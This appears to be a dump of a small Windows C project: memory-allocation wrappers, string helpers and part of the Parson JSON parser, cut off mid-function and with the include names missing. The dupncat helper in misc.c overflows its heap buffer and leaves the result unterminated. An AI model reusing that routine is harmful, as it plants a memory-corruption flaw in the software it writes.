-------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "mem.h" 5 | 6 | // normal functions 7 | 8 | PVOID talloc(__in DWORD dwSize) 9 | { 10 | PBYTE pMem = (PBYTE)malloc(dwSize); 11 | RtlSecureZeroMemory(pMem, dwSize); 12 | return(pMem); 13 | } 14 | 15 | VOID tfree(__in PVOID pMem) 16 | { 17 | if (pMem) 18 | free(pMem); 19 | } 20 | 21 | // secure funcions 22 | 23 | PVOID talloc_s(__in size_t dwSize) 24 | { 25 | 26 | if (dwSize == 0) 27 | return NULL; 28 | 29 | LPBYTE pMem = (LPBYTE)malloc(dwSize); 30 | SecureZeroMemory(pMem, dwSize); 31 | 32 | return pMem; 33 | } 34 | 35 | VOID tfree_s(__in PVOID pMem) 36 | { 37 | if (pMem) 38 | { 39 | free(pMem); 40 | pMem = NULL; 41 | } 42 | 43 | } -------------------------------------------------------------------------------- /mem.h: -------------------------------------------------------------------------------- 1 | #ifndef __MEM__ 2 | #define __MEM__ 3 | 4 | PVOID talloc(__in DWORD dwSize); 5 | VOID tfree(__in PVOID pMem); 6 | PVOID talloc_s(__in size_t dwSize); 7 | VOID tfree_s(__in PVOID pMem); 8 | 9 | #endif -------------------------------------------------------------------------------- /misc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "misc.h" 8 | 9 | 10 | char *dupncat(const char *s1, unsigned int n) { 11 | char *p, *q; 12 | 13 | p = (char*)malloc(n + 1 * sizeof(char)); 14 | q = p; 15 | for (size_t i = 0; i < n; i++) { 16 | strcpy(q + i, s1); 17 | } 18 | 19 | return p; 20 | } 21 | 22 | char *dupcat(const char *s1, ...) { 23 | int len; 24 | char *p, *q, *sn; 25 | va_list ap; 26 | 27 | len = strlen(s1); 28 | va_start(ap, s1); 29 | while (1) { 30 | sn = va_arg(ap, char *); 31 | if (!sn) 32 | break; 33 | len += strlen(sn); 34 | } 35 | va_end(ap); 36 | 37 | p = (char*)malloc(len + 1 * sizeof(char)); 38 | strcpy(p, s1); 39 | q = p + strlen(p); 40 | 41 | va_start(ap, s1); 42 | while (1) { 43 | sn = va_arg(ap, char *); 44 | if (!sn) 45 | break; 46 | strcpy(q, sn); 47 | q += strlen(q); 48 | } 49 | va_end(ap); 50 | 51 | return p; 52 | } 53 | 54 | char** str_split(char* a_str, const char a_delim) 55 | { 56 | char** result = 0; 57 | size_t count = 0; 58 | char* tmp = a_str; 59 | char* last_comma = 0; 60 | char delim[2]; 61 | delim[0] = a_delim; 62 | delim[1] = 0; 63 | 64 | /* Count how many elements will be extracted. */ 65 | while (*tmp) 66 | { 67 | if (a_delim == *tmp) 68 | { 69 | count++; 70 | last_comma = tmp; 71 | } 72 | tmp++; 73 | } 74 | 75 | /* Add space for trailing token. */ 76 | count += last_comma < (a_str + strlen(a_str) - 1); 77 | 78 | /* Add space for terminating null string so caller 79 | knows where the list of returned strings ends. */ 80 | count++; 81 | 82 | result = (char**)malloc(sizeof(char*) * count); 83 | 84 | if (result) 85 | { 86 | size_t idx = 0; 87 | char* token = strtok(a_str, delim); 88 | 89 | while (token) 90 | { 91 | assert(idx < count); 92 | *(result + idx++) = _strdup(token); 93 | token = strtok(0, delim); 94 | } 95 | assert(idx == count - 1); 96 | *(result + idx) = 0; 97 | } 98 | 99 | return result; 100 | } 101 | -------------------------------------------------------------------------------- /misc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | char *dupcat(const char *s1, ...); 4 | char *dupncat(const char *s1, unsigned int n); 5 | char** str_split(char* a_str, const char a_delim); 6 | -------------------------------------------------------------------------------- /parson.c: -------------------------------------------------------------------------------- 1 | /* 2 | Parson ( http://kgabis.github.com/parson/ ) 3 | Copyright (c) 2012 - 2016 Krzysztof Gabis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | */ 23 | #ifdef _MSC_VER 24 | #define _CRT_SECURE_NO_WARNINGS 25 | #endif 26 | 27 | #include "parson.h" 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #define STARTING_CAPACITY 15 36 | #define ARRAY_MAX_CAPACITY 122880 /* 15*(2^13) */ 37 | #define OBJECT_MAX_CAPACITY 960 /* 15*(2^6) */ 38 | #define MAX_NESTING 19 39 | #define DOUBLE_SERIALIZATION_FORMAT "%f" 40 | 41 | #define SIZEOF_TOKEN(a) (sizeof(a) - 1) 42 | #define SKIP_CHAR(str) ((*str)++) 43 | #define SKIP_WHITESPACES(str) while (isspace(**str)) { SKIP_CHAR(str); } 44 | #define MAX(a, b) ((a) > (b) ? (a) : (b)) 45 | 46 | #undef malloc 47 | #undef free 48 | 49 | static JSON_Malloc_Function parson_malloc = malloc; 50 | static JSON_Free_Function parson_free = free; 51 | 52 | #define IS_CONT(b) (((unsigned char)(b) & 0xC0) == 0x80) /* is utf-8 continuation byte */ 53 | 54 | /* Type definitions */ 55 | typedef union json_value_value { 56 | char *string; 57 | double number; 58 | JSON_Object *object; 59 | JSON_Array *array; 60 | int boolean; 61 | int null; 62 | } JSON_Value_Value; 63 | 64 | struct json_value_t { 65 | JSON_Value_Type type; 66 | JSON_Value_Value value; 67 | }; 68 | 69 | struct json_object_t { 70 | char **names; 71 | JSON_Value **values; 72 | size_t count; 73 | size_t capacity; 74 | }; 75 | 76 | struct json_array_t { 77 | JSON_Value **items; 78 | size_t count; 79 | size_t capacity; 80 | }; 81 | 82 | /* Various */ 83 | static char * read_file(const char *filename); 84 | static void remove_comments(char *string, const char *start_token, const char *end_token); 85 | static char * parson_strndup(const char *string, size_t n); 86 | static char * parson_strdup(const char *string); 87 | static int is_utf16_hex(const unsigned char *string); 88 | static int num_bytes_in_utf8_sequence(unsigned char c); 89 | static int verify_utf8_sequence(const unsigned char *string, int *len); 90 | static int is_valid_utf8(const char *string, size_t string_len); 91 | static int is_decimal(const char *string, size_t length); 92 | 93 | /* JSON Object */ 94 | static JSON_Object * json_object_init(void); 95 | static JSON_Status json_object_add(JSON_Object *object, const char *name, JSON_Value *value); 96 | static JSON_Status json_object_resize(JSON_Object *object, size_t new_capacity); 97 | static JSON_Value * json_object_nget_value(const JSON_Object *object, const char *name, size_t n); 98 | static void json_object_free(JSON_Object *object); 99 | 100 | /* JSON Array */ 101 | static JSON_Array * json_array_init(void); 102 | static JSON_Status json_array_add(JSON_Array *array, JSON_Value *value); 103 | static JSON_Status json_array_resize(JSON_Array *array, size_t new_capacity); 104 | static void json_array_free(JSON_Array *array); 105 | 106 | /* JSON Value */ 107 | static JSON_Value * json_value_init_string_no_copy(char *string); 108 | 109 | /* Parser */ 110 | static void skip_quotes(const char **string); 111 | static int parse_utf_16(const char **unprocessed, char **processed); 112 | static char * process_string(const char *input, size_t len); 113 | static char * get_quoted_string(const char **string); 114 | static JSON_Value * parse_object_value(const char **string, size_t nesting); 115 | static JSON_Value * parse_array_value(const char **string, size_t nesting); 116 | static JSON_Value * parse_string_value(const char **string); 117 | static JSON_Value * parse_boolean_value(const char **string); 118 | static JSON_Value * parse_number_value(const char **string); 119 | static JSON_Value * parse_null_value(const char **string); 120 | static JSON_Value * parse_value(const char **string, size_t nesting); 121 | 122 | /* Serialization */ 123 | static int json_serialize_to_buffer_r(const JSON_Value *value, char *buf, int level, int is_pretty, char *num_buf); 124 | static int json_serialize_string(const char *string, char *buf); 125 | static int append_indent(char *buf, int level); 126 | static int append_string(char *buf, const char *string); 127 | 128 | /* Various */ 129 | static char * parson_strndup(const char *string, size_t n) { 130 | char *output_string = (char*)parson_malloc(n + 1); 131 | if (!output_string) 132 | return NULL; 133 | output_string[n] = '\0'; 134 | strncpy(output_string, string, n); 135 | return output_string; 136 | } 137 | 138 | static char * parson_strdup(const char *string) { 139 | return parson_strndup(string, strlen(string)); 140 | } 141 | 142 | static int is_utf16_hex(const unsigned char *s) { 143 | return isxdigit(s[0]) && isxdigit(s[1]) && isxdigit(s[2]) && isxdigit(s[3]); 144 | } 145 | 146 | static int num_bytes_in_utf8_sequence(unsigned char c) { 147 | if (c == 0xC0 || c == 0xC1 || c > 0xF4 || IS_CONT(c)) { 148 | return 0; 149 | } else if ((c & 0x80) == 0) { /* 0xxxxxxx */ 150 | return 1; 151 | } else if ((c & 0xE0) == 0xC0) { /* 110xxxxx */ 152 | return 2; 153 | } else if ((c & 0xF0) == 0xE0) { /* 1110xxxx */ 154 | return 3; 155 | } else if ((c & 0xF8) == 0xF0) { /* 11110xxx */ 156 | return 4; 157 | } 158 | return 0; /* won't happen */ 159 | } 160 | 161 | static int verify_utf8_sequence(const unsigned char *string, int *len) { 162 | unsigned int cp = 0; 163 | *len = num_bytes_in_utf8_sequence(string[0]); 164 | 165 | if (*len == 1) { 166 | cp = string[0]; 167 | } else if (*len == 2 && IS_CONT(string[1])) { 168 | cp = string[0] & 0x1F; 169 | cp = (cp << 6) | (string[1] & 0x3F); 170 | } else if (*len == 3 && IS_CONT(string[1]) && IS_CONT(string[2])) { 171 | cp = ((unsigned char)string[0]) & 0xF; 172 | cp = (cp << 6) | (string[1] & 0x3F); 173 | cp = (cp << 6) | (string[2] & 0x3F); 174 | } else if (*len == 4 && IS_CONT(string[1]) && IS_CONT(string[2]) && IS_CONT(string[3])) { 175 | cp = string[0] & 0x7; 176 | cp = (cp << 6) | (string[1] & 0x3F); 177 | cp = (cp << 6) | (string[2] & 0x3F); 178 | cp = (cp << 6) | (string[3] & 0x3F); 179 | } else { 180 | return 0; 181 | } 182 | 183 | /* overlong encodings */ 184 | if ((cp < 0x80 && *len > 1) || 185 | (cp < 0x800 && *len > 2) || 186 | (cp < 0x10000 && *len > 3)) { 187 | return 0; 188 | } 189 | 190 | /* invalid unicode */ 191 | if (cp > 0x10FFFF) { 192 | return 0; 193 | } 194 | 195 | /* surrogate halves */ 196 | if (cp >= 0xD800 && cp <= 0xDFFF) { 197 | return 0; 198 | } 199 | 200 | return 1; 201 | } 202 | 203 | static int is_valid_utf8(const char *string, size_t string_len) { 204 | int len = 0; 205 | const char *string_end = string + string_len; 206 | while (string < string_end) { 207 | if (!verify_utf8_sequence((const unsigned char*)string, &len)) { 208 | return 0; 209 | } 210 | string += len; 211 | } 212 | return 1; 213 | } 214 | 215 | static int is_decimal(const char *string, size_t length) { 216 | if (length > 1 && string[0] == '0' && string[1] != '.') 217 | return 0; 218 | if (length > 2 && !strncmp(string, "-0", 2) && string[2] != '.') 219 | return 0; 220 | while (length--) 221 | if (strchr("xX", string[length])) 222 | return 0; 223 | return 1; 224 | } 225 | 226 | static char * read_file(const char * filename) { 227 | FILE *fp = fopen(filename, "r"); 228 | size_t file_size; 229 | long pos; 230 | char *file_contents; 231 | if (!fp) 232 | return NULL; 233 | fseek(fp, 0L, SEEK_END); 234 | pos = ftell(fp); 235 | if (pos < 0) { 236 | fclose(fp); 237 | return NULL; 238 | } 239 | file_size = pos; 240 | rewind(fp); 241 | file_contents = (char*)parson_malloc(sizeof(char) * (file_size + 1)); 242 | if (!file_contents) { 243 | fclose(fp); 244 | return NULL; 245 | } 246 | if (fread(file_contents, file_size, 1, fp) < 1) { 247 | if (ferror(fp)) { 248 | fclose(fp); 249 | parson_free(file_contents); 250 | return NULL; 251 | } 252 | } 253 | fclose(fp); 254 | file_contents[file_size] = '\0'; 255 | return file_contents; 256 | } 257 | 258 | static void remove_comments(char *string, const char *start_token, const char *end_token) { 259 | int in_string = 0, escaped = 0; 260 | size_t i; 261 | char *ptr = NULL, current_char; 262 | size_t start_token_len = strlen(start_token); 263 | size_t end_token_len = strlen(end_token); 264 | if (start_token_len == 0 || end_token_len == 0) 265 | return; 266 | while ((current_char = *string) != '\0') { 267 | if (current_char == '\\' && !escaped) { 268 | escaped = 1; 269 | string++; 270 | continue; 271 | } else if (current_char == '\"' && !escaped) { 272 | in_string = !in_string; 273 | } else if (!in_string && strncmp(string, start_token, start_token_len) == 0) { 274 | for(i = 0; i < start_token_len; i++) 275 | string[i] = ' '; 276 | string = string + start_token_len; 277 | ptr = strstr(string, end_token); 278 | if (!ptr) 279 | return; 280 | for (i = 0; i < (ptr - string) + end_token_len; i++) 281 | string[i] = ' '; 282 | string = ptr + end_token_len - 1; 283 | } 284 | escaped = 0; 285 | string++; 286 | } 287 | } 288 | 289 | /* JSON Object */ 290 | static JSON_Object * json_object_init(void) { 291 | JSON_Object *new_obj = (JSON_Object*)parson_malloc(sizeof(JSON_Object)); 292 | if (!new_obj) 293 | return NULL; 294 | new_obj->names = (char**)NULL; 295 | new_obj->values = (JSON_Value**)NULL; 296 | new_obj->capacity = 0; 297 | new_obj->count = 0; 298 | return new_obj; 299 | } 300 | 301 | static JSON_Status json_object_add(JSON_Object *object, const char *name, JSON_Value *value) { 302 | size_t index = 0; 303 | if (object == NULL || name == NULL || value == NULL) { 304 | return JSONFailure; 305 | } 306 | if (object->count >= object->capacity) { 307 | size_t new_capacity = MAX(object->capacity * 2, STARTING_CAPACITY); 308 | if (new_capacity > OBJECT_MAX_CAPACITY) 309 | return JSONFailure; 310 | if (json_object_resize(object, new_capacity) == JSONFailure) 311 | return JSONFailure; 312 | } 313 | if (json_object_get_value(object, name) != NULL) 314 | return JSONFailure; 315 | index = object->count; 316 | object->names[index] = parson_strdup(name); 317 | if (object->names[index] == NULL) 318 | return JSONFailure; 319 | object->values[index] = value; 320 | object->count++; 321 | return JSONSuccess; 322 | } 323 | 324 | static JSON_Status json_object_resize(JSON_Object *object, size_t new_capacity) { 325 | char **temp_names = NULL; 326 | JSON_Value **temp_values = NULL; 327 | 328 | if ((object->names == NULL && object->values != NULL) || 329 | (object->names != NULL && object->values == NULL) || 330 | new_capacity == 0) { 331 | return JSONFailure; /* Shouldn't happen */ 332 | } 333 | 334 | temp_names = (char**)parson_malloc(new_capacity * sizeof(char*)); 335 | if (temp_names == NULL) 336 | return JSONFailure; 337 | 338 | temp_values = (JSON_Value**)parson_malloc(new_capacity * sizeof(JSON_Value*)); 339 | if (temp_values == NULL) { 340 | parson_free(temp_names); 341 | return JSONFailure; 342 | } 343 | 344 | if (object->names != NULL && object->values != NULL && object->count > 0) { 345 | memcpy(temp_names, object->names, object->count * sizeof(char*)); 346 | memcpy(temp_values, object->values, object->count * sizeof(JSON_Value*)); 347 | } 348 | parson_free(object->names); 349 | parson_free(object->values); 350 | object->names = temp_names; 351 | object->values = temp_values; 352 | object->capacity = new_capacity; 353 | return JSONSuccess; 354 | } 355 | 356 | static JSON_Value * json_object_nget_value(const JSON_Object *object, const char *name, size_t n) { 357 | size_t i, name_length; 358 | for (i = 0; i < json_object_get_count(object); i++) { 359 | name_length = strlen(object->names[i]); 360 | if (name_length != n) 361 | continue; 362 | if (strncmp(object->names[i], name, n) == 0) 363 | return object->values[i]; 364 | } 365 | return NULL; 366 | } 367 | 368 | static void json_object_free(JSON_Object *object) { 369 | while(object->count--) { 370 | parson_free(object->names[object->count]); 371 | json_value_free(object->values[object->count]); 372 | } 373 | parson_free(object->names); 374 | parson_free(object->values); 375 | parson_free(object); 376 | } 377 | 378 | /* JSON Array */ 379 | static JSON_Array * json_array_init(void) { 380 | JSON_Array *new_array = (JSON_Array*)parson_malloc(sizeof(JSON_Array)); 381 | if (!new_array) 382 | return NULL; 383 | new_array->items = (JSON_Value**)NULL; 384 | new_array->capacity = 0; 385 | new_array->count = 0; 386 | return new_array; 387 | } 388 | 389 | static JSON_Status json_array_add(JSON_Array *array, JSON_Value *value) { 390 | if (array->count >= array->capacity) { 391 | size_t new_capacity = MAX(array->capacity * 2, STARTING_CAPACITY); 392 | if (new_capacity > ARRAY_MAX_CAPACITY) 393 | return JSONFailure; 394 | if (json_array_resize(array, new_capacity) == JSONFailure) 395 | return JSONFailure; 396 | } 397 | array->items[array->count] = value; 398 | array->count++; 399 | return JSONSuccess; 400 | } 401 | 402 | static JSON_Status json_array_resize(JSON_Array *array, size_t new_capacity) { 403 | JSON_Value **new_items = NULL; 404 | if (new_capacity == 0) { 405 | return JSONFailure; 406 | } 407 | new_items = (JSON_Value**)parson_malloc(new_capacity * sizeof(JSON_Value*)); 408 | if (new_items == NULL) { 409 | return JSONFailure; 410 | } 411 | if (array->items != NULL && array->count > 0) { 412 | memcpy(new_items, array->items, array->count * sizeof(JSON_Value*)); 413 | } 414 | parson_free(array->items); 415 | array->items = new_items; 416 | array->capacity = new_capacity; 417 | return JSONSuccess; 418 | } 419 | 420 | static void json_array_free(JSON_Array *array) { 421 | while (array->count--) 422 | json_value_free(array->items[array->count]); 423 | parson_free(array->items); 424 | parson_free(array); 425 | } 426 | 427 | /* JSON Value */ 428 | static JSON_Value * json_value_init_string_no_copy(char *string) { 429 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 430 | if (!new_value) 431 | return NULL; 432 | new_value->type = JSONString; 433 | new_value->value.string = string; 434 | return new_value; 435 | } 436 | 437 | /* Parser */ 438 | static void skip_quotes(const char **string) { 439 | SKIP_CHAR(string); 440 | while (**string != '\"') { 441 | if (**string == '\0') 442 | return; 443 | if (**string == '\\') { 444 | SKIP_CHAR(string); 445 | if (**string == '\0') 446 | return; 447 | } 448 | SKIP_CHAR(string); 449 | } 450 | SKIP_CHAR(string); 451 | } 452 | 453 | static int parse_utf_16(const char **unprocessed, char **processed) { 454 | unsigned int cp, lead, trail; 455 | char *processed_ptr = *processed; 456 | const char *unprocessed_ptr = *unprocessed; 457 | unprocessed_ptr++; /* skips u */ 458 | if (!is_utf16_hex((const unsigned char*)unprocessed_ptr) || sscanf(unprocessed_ptr, "%4x", &cp) == EOF) 459 | return JSONFailure; 460 | if (cp < 0x80) { 461 | *processed_ptr = cp; /* 0xxxxxxx */ 462 | } else if (cp < 0x800) { 463 | *processed_ptr++ = ((cp >> 6) & 0x1F) | 0xC0; /* 110xxxxx */ 464 | *processed_ptr = ((cp ) & 0x3F) | 0x80; /* 10xxxxxx */ 465 | } else if (cp < 0xD800 || cp > 0xDFFF) { 466 | *processed_ptr++ = ((cp >> 12) & 0x0F) | 0xE0; /* 1110xxxx */ 467 | *processed_ptr++ = ((cp >> 6) & 0x3F) | 0x80; /* 10xxxxxx */ 468 | *processed_ptr = ((cp ) & 0x3F) | 0x80; /* 10xxxxxx */ 469 | } else if (cp >= 0xD800 && cp <= 0xDBFF) { /* lead surrogate (0xD800..0xDBFF) */ 470 | lead = cp; 471 | unprocessed_ptr += 4; /* should always be within the buffer, otherwise previous sscanf would fail */ 472 | if (*unprocessed_ptr++ != '\\' || *unprocessed_ptr++ != 'u' || /* starts with \u? */ 473 | !is_utf16_hex((const unsigned char*)unprocessed_ptr) || 474 | sscanf(unprocessed_ptr, "%4x", &trail) == EOF || 475 | trail < 0xDC00 || trail > 0xDFFF) { /* valid trail surrogate? (0xDC00..0xDFFF) */ 476 | return JSONFailure; 477 | } 478 | cp = ((((lead-0xD800)&0x3FF)<<10)|((trail-0xDC00)&0x3FF))+0x010000; 479 | *processed_ptr++ = (((cp >> 18) & 0x07) | 0xF0); /* 11110xxx */ 480 | *processed_ptr++ = (((cp >> 12) & 0x3F) | 0x80); /* 10xxxxxx */ 481 | *processed_ptr++ = (((cp >> 6) & 0x3F) | 0x80); /* 10xxxxxx */ 482 | *processed_ptr = (((cp ) & 0x3F) | 0x80); /* 10xxxxxx */ 483 | } else { /* trail surrogate before lead surrogate */ 484 | return JSONFailure; 485 | } 486 | unprocessed_ptr += 3; 487 | *processed = processed_ptr; 488 | *unprocessed = unprocessed_ptr; 489 | return JSONSuccess; 490 | } 491 | 492 | 493 | /* Copies and processes passed string up to supplied length. 494 | Example: "\u006Corem ipsum" -> lorem ipsum */ 495 | static char* process_string(const char *input, size_t len) { 496 | const char *input_ptr = input; 497 | size_t initial_size = (len + 1) * sizeof(char); 498 | size_t final_size = 0; 499 | char *output = (char*)parson_malloc(initial_size); 500 | char *output_ptr = output; 501 | char *resized_output = NULL; 502 | while ((*input_ptr != '\0') && (size_t)(input_ptr - input) < len) { 503 | if (*input_ptr == '\\') { 504 | input_ptr++; 505 | switch (*input_ptr) { 506 | case '\"': *output_ptr = '\"'; break; 507 | case '\\': *output_ptr = '\\'; break; 508 | case '/': *output_ptr = '/'; break; 509 | case 'b': *output_ptr = '\b'; break; 510 | case 'f': *output_ptr = '\f'; break; 511 | case 'n': *output_ptr = '\n'; break; 512 | case 'r': *output_ptr = '\r'; break; 513 | case 't': *output_ptr = '\t'; break; 514 | case 'u': 515 | if (parse_utf_16(&input_ptr, &output_ptr) == JSONFailure) 516 | goto error; 517 | break; 518 | default: 519 | goto error; 520 | } 521 | } else if ((unsigned char)*input_ptr < 0x20) { 522 | goto error; /* 0x00-0x19 are invalid characters for json string (http://www.ietf.org/rfc/rfc4627.txt) */ 523 | } else { 524 | *output_ptr = *input_ptr; 525 | } 526 | output_ptr++; 527 | input_ptr++; 528 | } 529 | *output_ptr = '\0'; 530 | /* resize to new length */ 531 | final_size = (size_t)(output_ptr-output) + 1; 532 | resized_output = (char*)parson_malloc(final_size); 533 | if (resized_output == NULL) 534 | goto error; 535 | memcpy(resized_output, output, final_size); 536 | parson_free(output); 537 | return resized_output; 538 | error: 539 | parson_free(output); 540 | return NULL; 541 | } 542 | 543 | /* Return processed contents of a string between quotes and 544 | skips passed argument to a matching quote. */ 545 | static char * get_quoted_string(const char **string) { 546 | const char *string_start = *string; 547 | size_t string_len = 0; 548 | skip_quotes(string); 549 | if (**string == '\0') 550 | return NULL; 551 | string_len = *string - string_start - 2; /* length without quotes */ 552 | return process_string(string_start + 1, string_len); 553 | } 554 | 555 | static JSON_Value * parse_value(const char **string, size_t nesting) { 556 | if (nesting > MAX_NESTING) 557 | return NULL; 558 | SKIP_WHITESPACES(string); 559 | switch (**string) { 560 | case '{': 561 | return parse_object_value(string, nesting + 1); 562 | case '[': 563 | return parse_array_value(string, nesting + 1); 564 | case '\"': 565 | return parse_string_value(string); 566 | case 'f': case 't': 567 | return parse_boolean_value(string); 568 | case '-': 569 | case '0': case '1': case '2': case '3': case '4': 570 | case '5': case '6': case '7': case '8': case '9': 571 | return parse_number_value(string); 572 | case 'n': 573 | return parse_null_value(string); 574 | default: 575 | return NULL; 576 | } 577 | } 578 | 579 | static JSON_Value * parse_object_value(const char **string, size_t nesting) { 580 | JSON_Value *output_value = json_value_init_object(), *new_value = NULL; 581 | JSON_Object *output_object = json_value_get_object(output_value); 582 | char *new_key = NULL; 583 | if (output_value == NULL) 584 | return NULL; 585 | SKIP_CHAR(string); 586 | SKIP_WHITESPACES(string); 587 | if (**string == '}') { /* empty object */ 588 | SKIP_CHAR(string); 589 | return output_value; 590 | } 591 | while (**string != '\0') { 592 | new_key = get_quoted_string(string); 593 | SKIP_WHITESPACES(string); 594 | if (new_key == NULL || **string != ':') { 595 | json_value_free(output_value); 596 | return NULL; 597 | } 598 | SKIP_CHAR(string); 599 | new_value = parse_value(string, nesting); 600 | if (new_value == NULL) { 601 | parson_free(new_key); 602 | json_value_free(output_value); 603 | return NULL; 604 | } 605 | if(json_object_add(output_object, new_key, new_value) == JSONFailure) { 606 | parson_free(new_key); 607 | parson_free(new_value); 608 | json_value_free(output_value); 609 | return NULL; 610 | } 611 | parson_free(new_key); 612 | SKIP_WHITESPACES(string); 613 | if (**string != ',') 614 | break; 615 | SKIP_CHAR(string); 616 | SKIP_WHITESPACES(string); 617 | } 618 | SKIP_WHITESPACES(string); 619 | if (**string != '}' || /* Trim object after parsing is over */ 620 | json_object_resize(output_object, json_object_get_count(output_object)) == JSONFailure) { 621 | json_value_free(output_value); 622 | return NULL; 623 | } 624 | SKIP_CHAR(string); 625 | return output_value; 626 | } 627 | 628 | static JSON_Value * parse_array_value(const char **string, size_t nesting) { 629 | JSON_Value *output_value = json_value_init_array(), *new_array_value = NULL; 630 | JSON_Array *output_array = json_value_get_array(output_value); 631 | if (!output_value) 632 | return NULL; 633 | SKIP_CHAR(string); 634 | SKIP_WHITESPACES(string); 635 | if (**string == ']') { /* empty array */ 636 | SKIP_CHAR(string); 637 | return output_value; 638 | } 639 | while (**string != '\0') { 640 | new_array_value = parse_value(string, nesting); 641 | if (!new_array_value) { 642 | json_value_free(output_value); 643 | return NULL; 644 | } 645 | if(json_array_add(output_array, new_array_value) == JSONFailure) { 646 | parson_free(new_array_value); 647 | json_value_free(output_value); 648 | return NULL; 649 | } 650 | SKIP_WHITESPACES(string); 651 | if (**string != ',') 652 | break; 653 | SKIP_CHAR(string); 654 | SKIP_WHITESPACES(string); 655 | } 656 | SKIP_WHITESPACES(string); 657 | if (**string != ']' || /* Trim array after parsing is over */ 658 | json_array_resize(output_array, json_array_get_count(output_array)) == JSONFailure) { 659 | json_value_free(output_value); 660 | return NULL; 661 | } 662 | SKIP_CHAR(string); 663 | return output_value; 664 | } 665 | 666 | static JSON_Value * parse_string_value(const char **string) { 667 | JSON_Value *value = NULL; 668 | char *new_string = get_quoted_string(string); 669 | if (new_string == NULL) 670 | return NULL; 671 | value = json_value_init_string_no_copy(new_string); 672 | if (value == NULL) { 673 | parson_free(new_string); 674 | return NULL; 675 | } 676 | return value; 677 | } 678 | 679 | static JSON_Value * parse_boolean_value(const char **string) { 680 | size_t true_token_size = SIZEOF_TOKEN("true"); 681 | size_t false_token_size = SIZEOF_TOKEN("false"); 682 | if (strncmp("true", *string, true_token_size) == 0) { 683 | *string += true_token_size; 684 | return json_value_init_boolean(1); 685 | } else if (strncmp("false", *string, false_token_size) == 0) { 686 | *string += false_token_size; 687 | return json_value_init_boolean(0); 688 | } 689 | return NULL; 690 | } 691 | 692 | static JSON_Value * parse_number_value(const char **string) { 693 | char *end; 694 | double number = strtod(*string, &end); 695 | JSON_Value *output_value; 696 | if (is_decimal(*string, end - *string)) { 697 | *string = end; 698 | output_value = json_value_init_number(number); 699 | } else { 700 | output_value = NULL; 701 | } 702 | return output_value; 703 | } 704 | 705 | static JSON_Value * parse_null_value(const char **string) { 706 | size_t token_size = SIZEOF_TOKEN("null"); 707 | if (strncmp("null", *string, token_size) == 0) { 708 | *string += token_size; 709 | return json_value_init_null(); 710 | } 711 | return NULL; 712 | } 713 | 714 | /* Serialization */ 715 | #define APPEND_STRING(str) do { written = append_string(buf, (str)); \ 716 | if (written < 0) { return -1; } \ 717 | if (buf != NULL) { buf += written; } \ 718 | written_total += written; } while(0) 719 | 720 | #define APPEND_INDENT(level) do { written = append_indent(buf, (level)); \ 721 | if (written < 0) { return -1; } \ 722 | if (buf != NULL) { buf += written; } \ 723 | written_total += written; } while(0) 724 | 725 | static int json_serialize_to_buffer_r(const JSON_Value *value, char *buf, int level, int is_pretty, char *num_buf) 726 | { 727 | const char *key = NULL, *string = NULL; 728 | JSON_Value *temp_value = NULL; 729 | JSON_Array *array = NULL; 730 | JSON_Object *object = NULL; 731 | size_t i = 0, count = 0; 732 | double num = 0.0; 733 | int written = -1, written_total = 0; 734 | 735 | switch (json_value_get_type(value)) { 736 | case JSONArray: 737 | array = json_value_get_array(value); 738 | count = json_array_get_count(array); 739 | APPEND_STRING("["); 740 | if (count > 0 && is_pretty) 741 | APPEND_STRING("\n"); 742 | for (i = 0; i < count; i++) { 743 | if (is_pretty) 744 | APPEND_INDENT(level+1); 745 | temp_value = json_array_get_value(array, i); 746 | written = json_serialize_to_buffer_r(temp_value, buf, level+1, is_pretty, num_buf); 747 | if (written < 0) 748 | return -1; 749 | if (buf != NULL) 750 | buf += written; 751 | written_total += written; 752 | if (i < (count - 1)) 753 | APPEND_STRING(","); 754 | if (is_pretty) 755 | APPEND_STRING("\n"); 756 | } 757 | if (count > 0 && is_pretty) 758 | APPEND_INDENT(level); 759 | APPEND_STRING("]"); 760 | return written_total; 761 | case JSONObject: 762 | object = json_value_get_object(value); 763 | count = json_object_get_count(object); 764 | APPEND_STRING("{"); 765 | if (count > 0 && is_pretty) 766 | APPEND_STRING("\n"); 767 | for (i = 0; i < count; i++) { 768 | key = json_object_get_name(object, i); 769 | if (is_pretty) 770 | APPEND_INDENT(level+1); 771 | written = json_serialize_string(key, buf); 772 | if (written < 0) 773 | return -1; 774 | if (buf != NULL) 775 | buf += written; 776 | written_total += written; 777 | APPEND_STRING(":"); 778 | if (is_pretty) 779 | APPEND_STRING(" "); 780 | temp_value = json_object_get_value(object, key); 781 | written = json_serialize_to_buffer_r(temp_value, buf, level+1, is_pretty, num_buf); 782 | if (written < 0) 783 | return -1; 784 | if (buf != NULL) 785 | buf += written; 786 | written_total += written; 787 | if (i < (count - 1)) 788 | APPEND_STRING(","); 789 | if (is_pretty) 790 | APPEND_STRING("\n"); 791 | } 792 | if (count > 0 && is_pretty) 793 | APPEND_INDENT(level); 794 | APPEND_STRING("}"); 795 | return written_total; 796 | case JSONString: 797 | string = json_value_get_string(value); 798 | written = json_serialize_string(string, buf); 799 | if (written < 0) 800 | return 